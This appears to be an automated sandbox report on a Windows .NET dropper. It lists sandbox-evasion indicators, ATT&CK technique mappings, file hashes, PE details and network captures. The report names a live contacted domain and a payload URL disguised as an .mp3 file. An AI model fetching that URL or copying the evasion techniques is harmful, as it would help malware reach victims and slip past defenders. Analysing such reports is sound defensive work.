Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: TiOWA908TP.exe, 00000000.00000002.584094234.00000000025DC000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\TiOWA908TP.exe	Memory allocated: 2C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Memory allocated: 2590000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Memory allocated: 460000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\TiOWA908TP.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\TiOWA908TP.exe TID: 3280	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe TID: 3280	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe TID: 3312	Thread sleep count: 205 > 30	Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe TID: 3312	Thread sleep count: 293 > 30	Jump to behavior

Source: C:\Users\user\Desktop\TiOWA908TP.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Thread delayed: delay time: 100000			Jump to behavior

Source: TiOWA908TP.exe, 00000000.00000002.584094234.00000000025DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware\|VIRTUAL\|A M I\|Xen
Source: TiOWA908TP.exe, 00000000.00000002.584094234.00000000025DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Microsoft\|VMWare\|Virtual

Source: C:\Users\user\Desktop\TiOWA908TP.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\TiOWA908TP.exe

Code function: 0_2_005AF900 LdrInitializeThunk,

0_2_005AF900

Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\TiOWA908TP.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\TiOWA908TP.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\TiOWA908TP.exe

Queries volume information: C:\Users\user\Desktop\TiOWA908TP.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\TiOWA908TP.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Modify Registry	OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Install Root Certificate	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
TiOWA908TP.exe	19%	Virustotal		Browse
TiOWA908TP.exe	100%	Avira	TR/Dropper.Gen
TiOWA908TP.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://cud-senegal.org/post-postlogin/Gjflop.mp3	0%	Avira URL Cloud	safe
https://cud-senegal.org	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cud-senegal.org	51.159.14.89	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://cud-senegal.org/post-postlogin/Gjflop.mp3	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-neti	TiOWA908TP.exe, 00000000.00000002.584056305.0000000000E10000.00000004.08000000.00040000.00000000.sdmp	false		high
https://stackoverflow.com/q/14436606/23354	TiOWA908TP.exe, 00000000.00000002.584094234.00000000025DC000.00000004.00000800.00020000.00000000.sdmp, TiOWA908TP.exe, 00000000.00000002.584056305.0000000000E10000.00000004.08000000.00040000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	TiOWA908TP.exe, 00000000.00000002.584056305.0000000000E10000.00000004.08000000.00040000.00000000.sdmp	false		high
http://crl.entrust.net/server1.crl0	TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net03	TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	TiOWA908TP.exe, 00000000.00000002.584056305.0000000000E10000.00000004.08000000.00040000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	TiOWA908TP.exe, 00000000.00000002.584056305.0000000000E10000.00000004.08000000.00040000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net	TiOWA908TP.exe, 00000000.00000002.584056305.0000000000E10000.00000004.08000000.00040000.00000000.sdmp	false		high
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.diginotar.nl/cps/pkioverheid0	TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net0D	TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	TiOWA908TP.exe, 00000000.00000002.584094234.0000000002591000.00000004.00000800.00020000.00000000.sdmp	false		high
https://secure.comodo.com/CPS0	TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cud-senegal.org	TiOWA908TP.exe, 00000000.00000002.584094234.0000000002591000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/2048ca.crl0	TiOWA908TP.exe, 00000000.00000002.583901718.0000000000685000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
51.159.14.89	cud-senegal.org	France		12876	OnlineSASFR	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590837
Start date and time:	2025-01-14 15:24:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	TiOWA908TP.exe renamed because original name is a hash value
Original Sample Name:	f1bbcbcf580673f86692045f0e6c1141.exe
Detection:	MAL
Classification:	mal76.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 93% Number of executed functions: 290 Number of non-executed functions: 44
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.208.16.93
Excluded domains from analysis (whitelisted): onedsblobprdcus07.centralus.cloudapp.azure.com, watson.microsoft.com, legacywatson.trafficmanager.net
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
OnlineSASFR	http://aeromorning.com	Get hash	malicious	Unknown	Browse	212.129.3.113
	12E56QE1Fc.exe	Get hash	malicious	Azorult	Browse	51.15.142.235
	4.elf	Get hash	malicious	Unknown	Browse	51.158.21.37
	miori.sh4.elf	Get hash	malicious	Unknown	Browse	212.129.5.22
	https://antiphishing.vadesecure.com/v4?f=bnJjU3hQT3pQSmNQZVE3aOMl-Yxz6sxP-_mvIRuY-wdnZ1bXTFIOIwMxyCDi0KedKx4XzS44_P2zUeNIsKUb0ScW6k1yl1_sQ4IsBBcClSw_vWV34HFG0fKKBNYTYHpo&i=SGI0YVJGNmxZNE90Z2thMHUqf298Dc88cJEXrW3w1lA&k=dFBm&r=SW5LV3JodE9QZkRVZ3JEYa6kbR5XAzhHFJ0zbTQRADrRG7ugnfE15pwrEQUVhgv3E2tVXwBw8NfFSkf3wOZ0VA&s=ecaab139c1f3315ccc0d88a6451dccec431e8ce1d856e71e5109e33657c13a3c&u=https%3A%2F%2Fsender5.zohoinsights-crm.com%2Fck1%2F2d6f.327230a%2F5f929700-cca4-11ef-973d-525400f92481%2F4cb2ae4047e7a38310b2b2641663917c123a5dec%2F2%3Fe%3DGKxHQ%252FSSm8D%252B%252B3g8VEcICaLHKdekhRU94ImygZ37tRI%253D	Get hash	malicious	Unknown	Browse	163.172.240.109
	Mes_Drivers_3.0.4.exe	Get hash	malicious	Unknown	Browse	212.129.3.113

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
7dcce5b76c8b17472d024758970a406b	0t8amSU3vd.exe	Get hash	malicious	CryptoWall, TrojanRansom	Browse	51.159.14.89
	25F.tmp.exe	Get hash	malicious	Darkbot	Browse	51.159.14.89
	Hwacaj.exe	Get hash	malicious	Darkbot	Browse	51.159.14.89
	Archivo-PxFkiLTWYG-23122024095010.hta	Get hash	malicious	Unknown	Browse	51.159.14.89
	Pago.xls	Get hash	malicious	AveMaria, UACMe	Browse	51.159.14.89
	NB PO-104105107108.xls	Get hash	malicious	Unknown	Browse	51.159.14.89
	PyrNUtAUkw.docx	Get hash	malicious	Unknown	Browse	51.159.14.89
	SLNA_Updated_Medical_Grant_Application(1).docx	Get hash	malicious	Unknown	Browse	51.159.14.89
	CMR ART009.docx	Get hash	malicious	Unknown	Browse	51.159.14.89
	Cot90012ARCACONTAL.xls	Get hash	malicious	Remcos	Browse	51.159.14.89

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	0.014109040332189342
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	TiOWA908TP.exe
File size:	104'857'600 bytes
MD5:	f1bbcbcf580673f86692045f0e6c1141
SHA1:	14b1bb7f931dad06ca86e7d1921a3dd09153fa49
SHA256:	019e924a0b82a0c448cb283cb72b47ad019ecc4de05fddbd41c983f704271c03
SHA512:	29e89a172b5ec38ccef22af821ef5b92d049d4dfb59751a77f6a6f1843343f199b3372e3a59bb795699c219c10721bcdd1671284657de11332c62cc0febb8fe9
SSDEEP:	1536:EA3d8vNhDwPJrB5I+IYcUUvs1R82opTiKZ6VQI:EAt8vNwrDI+sUK226/
TLSH:	4A381A81F35403B1F9AA0B3CA8A78A124B3A7DBB8D45FB4D184D72510F77792852375A
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....J.g................................. ........@.. ....................................`................................

File Icon


Icon Hash:	3819386387c91919

Static PE Info

General

Entrypoint:	0x40a59e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67864A11 [Tue Jan 14 11:27:13 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa554	0x4a	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0x11ad2	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1e000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x85a4	0x8600	b83b373dcedc444eaba999355bc881e1	False	0.48347131529850745	data	5.635715646525423	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0x11ad2	0x11c00	7e5c1e0a79afa2908d4b3c0e881f4bf7	False	0.21762213908450703	data	2.6460935023941827	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1e000	0xc	0x200	8c6ae808a6b411a0a0bf99753758292b	False	0.044921875	data	0.07763316234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xc06c	0x114b8	Device independent bitmap graphic, 114 x 300 x 32, image size 68400, resolution 3779 x 3779 px/m	0.21019198193111235
RT_GROUP_ICON	0x1d560	0x14	data	1.15
RT_VERSION	0x1d5b0	0x2fc	data	0.43848167539267013
RT_MANIFEST	0x1d8e8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 15:25:40.786243916 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:40.786283016 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:40.786542892 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:40.850558043 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:40.850584030 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:41.576472044 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:41.576612949 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:41.617089033 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:41.617100000 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:41.617532969 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:41.827341080 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:41.827411890 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:41.866060972 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:41.907336950 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.126571894 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.126631021 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.126672983 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.126728058 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.126728058 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.126745939 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.126791954 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.130759001 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.130806923 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.130856037 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.130856037 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.130865097 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.133419037 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.213270903 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.213325024 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.213387966 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.213387966 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.213402033 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.213850975 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.217135906 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.217166901 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.217226028 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.217226028 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.217237949 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.218127012 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.218173981 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.218203068 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.218214989 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.218257904 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.219141006 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.219182968 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.219216108 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.219228983 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.219238997 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.220989943 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.300259113 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.300313950 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.300364017 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.300364017 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.300379038 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.300549030 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.304368019 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.304411888 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.304441929 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.304450035 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.304537058 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.304682970 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.305010080 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.305053949 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.305088997 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.305098057 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.305114031 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.305227041 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.305671930 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.305717945 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.305761099 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.305761099 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.305769920 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.305972099 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.484596968 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.484647989 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.484694004 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.484694004 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.484711885 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.485549927 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.541389942 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.541450024 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.541488886 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.541501999 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.541611910 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.541768074 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.555573940 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.555634975 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.555648088 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.555656910 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.555677891 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.555726051 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.556026936 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.556082010 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.556117058 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.556124926 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.556212902 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.556386948 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.557002068 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.557054043 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.557096004 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.557101965 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.557121038 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.557154894 CET	49163	443	192.168.2.22	51.159.14.89
Jan 14, 2025 15:25:42.557290077 CET	443	49163	51.159.14.89	192.168.2.22
Jan 14, 2025 15:25:42.557339907 CET	443	49163	51.159.14.89	192.168.2.22
